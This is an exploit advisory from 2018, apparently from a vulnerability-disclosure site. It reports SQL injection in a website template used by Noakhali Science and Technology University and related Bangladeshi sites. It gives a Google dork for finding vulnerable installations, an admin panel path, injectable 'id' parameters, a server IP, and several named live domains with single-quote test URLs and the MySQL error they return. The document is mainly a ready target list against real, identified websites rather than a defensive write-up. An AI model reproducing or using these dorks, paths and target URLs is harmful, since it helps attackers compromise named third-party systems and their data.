facebook facebook twitter rss

Developed By NaiveScripters Noakhali Science and Technology University Bangladesh SQL Injection Vulnerability

Author: KingSkrupellos , Published: 16-11-2018
# Exploit Title : Developed By NaiveScripters Noakhali Science and Technology University Bangladesh SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 13/11/2018
# Vendor Homepage : ocean-nstu.edu.bd/developer.php ~ shopnochari.com ~ Md. Abul Hasan ~ Shaun Hossain
# Tested On : Windows and Linux
# Category : WebApps
# Google Dork : intext:''Developed By NaiveScripters'' site:bd
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]

#################################################################################################

# Admin Panel Login Path :

/YqCav/login.php

#################################################################################################

# SQL Injection Exploit :

/events.php?id=[SQL Injection]

/facultymember.php?id=[SQL Injection]

#################################################################################################

# Example Vulnerable Sites =>

TARGET Vulnerable IP Address => (64.188.2.209)
There are 412 domains hosted on this server.

[+] ocean-nstu.edu.bd/events.php?id=10%27 => [ Proof of Concept ] => archive.is/n9hGT

[+] ocean.nstu.edu.bd/events.php?id=5%27

[+] blws-nstu.edu.bd/events.php?id=1%27

[+] chemshafiul.com/events.php?id=1%27

#################################################################################################

# SQL Database Error :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near ''' at line 127

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Like us on Facebook :